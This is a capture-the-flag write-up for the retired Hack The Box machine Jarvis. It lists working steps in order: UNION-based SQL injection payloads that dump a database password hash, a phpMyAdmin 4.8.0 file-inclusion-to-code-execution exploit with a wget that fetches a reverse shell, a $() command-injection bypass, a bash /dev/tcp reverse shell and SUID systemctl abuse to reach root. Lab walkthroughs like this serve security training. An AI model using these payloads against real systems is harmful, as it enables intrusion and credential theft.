This is the write-up for the box Jarvis that got retired at the 9th November 2019. My IP address was 10.10.14.8 while I did this.
Let's put this in our hosts file:
10.10.10.143 jarvis.htb
Starting with a Nmap scan:
nmap -sC -sV -o nmap/jarvis.nmap 10.10.10.143
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The web page is some kind of hotel booking page and there are some paths and hints:
- There are two pages that have a PHP extension:
- rooms-suites.php
- dining-bar.php
- rooms-suites.php shows rooms and when trying to book them forwards to room.php?cod=1
- The value of cod varies on the rooms from 1 to 6
- In the footer are two potential hostnames:
- supersecurehotel.htb
- supersecurehotel@logger.htb
After putting the hostnames into my /etc/hosts file and browsing to the web pages with the hostnames, it shows the same as the IP address, so these hostnames seem to be useless.
Lets test the room.php for SQL Injection by fuzzing through a list of special characters with Wfuzz:
wfuzz -u http://10.10.10.143/room.php?cod=1FUZZ -w /usr/share/seclists/Fuzzing/special-chars.txt
After going through all special characters, five of them result in different sizes:
- Ampersand (&)
- Number sign (#)
- Plus sign (+)
- Dot (.)
- Semicolon (;)
The ampersand and number sign are all default symbols in URLs in general, but the semicolon, the dot and the plus sign could be used for either math or separating commands.
When trying out math with the plus sign nothing changes and no room gets shown:
GET /room.php?cod=1+2
But when using math with a minus sign to subtract from the value, it displays that room. In this example, the website shows room 2:
GET /room.php?cod=3-1
This means there is some SQL Injection to exploit.
The SQL query we are sending looks probably somewhat like this:
SELECT id, image-url, rating, roomname, cost, description FROM rooms WHERE cod = 1
This means we control everything after the WHERE statement and the MySQL Query Syntax helps with the query commands.
The UNION command also comes after the WHERE command, so this is a UNION-based SQL Injection.
Trying out how many statements are needed until it gives a valid response:
GET /room.php?cod=1 union select 1
GET /room.php?cod=1 union select 1,2
GET /room.php?cod=1 union select 1,2,3
(...)
GET /room.php?cod=1 union select 1,2,3,4,5,6,7
At seven the web page shows a result which means, there are 7 SELECT statements in this query, so update our imaginary query:
SELECT id, image-url, rating, roomname, cost, description, UNKOWN FROM rooms WHERE cod = 1 UNION 1,2,3,4,5,6,7-- -
When trying an invalid room number, the response changes:
GET /room.php?cod=123 union select 1,2,3,4,5,6,7
This means that the third statement is the cost and can be changed to whatever we want:
GET /room.php?cod=123 union select 1,2,"TEST",4,5,6,7
It can also be changed to a SQL query:
GET /room.php?cod=123 union select 1,2,(select @@version),4,5,6,7
"price-room">10.1.37-MariaDB-0+deb9u1<
Lets enumerate the Information_Schema Tables of MySQL to gain information about the databases.
Requesting the SCHEMATA:
GET /room.php?cod=123+union+select+1,2,(select+SCHEMA_NAME+from+Information_Schema.SCHEMATA+LIMIT+0,1),4,5,6,7
The LIMIT is needed because the query is not able to show more than one line, but can be bypassed by group concatenating the results:
GET /room.php?cod=123+union+select+1,2,(select+group_concat(SCHEMA_NAME,":")+from+Information_Schema.SCHEMATA),4,5,6,7
"price-room">hotel:,information_schema:,mysql:,performance_schema:
So there are four databases, which could contain valuable information.
Schema of the database hotel:
GET /room.php?cod=123+union+select+1,2,(select+group_concat(TABLE_NAME,":",COLUMN_NAME,"\r\n")+from+Information_Schema.COLUMNS+where+TABLE_SCHEMA+=+'hotel'),4,5,6,7
,room:cod
,room:name
,room:price
,room:descrip
,room:star
,room:image
,room:mini
The database hotel has one table (room) with seven parameters, but none of them are interesting.
Contents of the user table in the mysql database:
GET /room.php?cod=123+union+select+1,2,(select+group_concat(host,":",user,":",password,"\r\n")+from+mysql.user),4,5,6,7
localhost:DBadmin:*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
It shows the username DBadmin and a password hash, that can be cracked with Hashcat:
hashcat -m 300 jarvis_db.hash /usr/share/wordlists/rockyou.txt
After a while it gets cracked and the password is:
imissyou
There is probably a login somewhere to use, so search for hidden PHP files and directories with Gobuster:
gobuster -u http://10.10.10.143/ dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
It found the directory /phpmyadmin that forwards to a phpMyAdmin login prompt where the gained credentials work:
The version of phpMyAdmin is 4.8.0 which is from 2018 and has vulnerabilities. This article from Vulnspy describes a Local File Inclusion into an authenticated Remote Code Execution vulnerability, that we will use.
Running a SQL statement:
select '<?php phpinfo();exit;?>'
Getting the session Cookie of phpMyAdmin:
Exploiting the LFI and executing the PHP code:
10.10.10.143/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../var/lib/php/sessions/sess_pe39qj4g9ehq1n10dm1m5v6tsivkbffd
Now it shows phpinfo and proofs code execution:
A PHP reverse shell from the Laudanum scripts can be uploaded with the following statement on the phpMyAdmin interface:
select '<?php exec("wget -O /var/www/html/revshell.php http://10.10.14.8/revshell.php"); ?>'
Now it is uploaded and executing it, should be possible:
10.10.10.143/revshell.php
After browsing to the page, the listener on my IP and port 9001 starts a reverse shell session as www-data.
When checking the root permissions of www-data via sudo -l
, it shows that a Python script can be ran as pepper:
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
This script shows some statistics about attackers, their IPs and it can ping IPs.
sudo -u pepper /var/www/Admin-Utilities/simpler.py
The pinging function is the most interesting one, as it blocks some special characters:
- Ampersand (&)
- Semicolon (;)
- Dash (-)
- Single tick
- Pipe (|)
But instead of these, the Dollar sign ($) can be used to execute other commands:
sudo -u pepper /var/www/Admin-Utilities/simpler.py
Enter an IP: $(whoami)
ping: pepper: Temporary failure in name resolution
In this case, it looks for the hostname "pepper" because of whoami
and can't find it, but proofs arbitrary command execution.
Creating a reverse shell script (/tmp/shell.sh) to run as pepper:
bash -i >& /dev/tcp/10.10.14.8/9002 0>&1
(...)
Enter an IP: $(bash /tmp/shell.sh)
After executing it, the listener on my IP and port 9002 starts a reverse shell session as pepper.
Lets examine the binaries with SetUID bit set:
find / -perm -4000 -ls 2>/dev/null
The binary /bin/systemctl normally has the SUID bit not set by default, but on this box it does. On GTFOBins it shows, how it can be exploited to escalate privileges.
echo '[Service]
Type=oneshot
ExecStart=/home/pepper/shell.sh
[Install]
WantedBy=multi-user.target' > shell.service
systemctl link shell.service
systemctl enable --now shell.service
After enabling the service, the listener on my IP and port 9002 starts a reverse shell connection as root!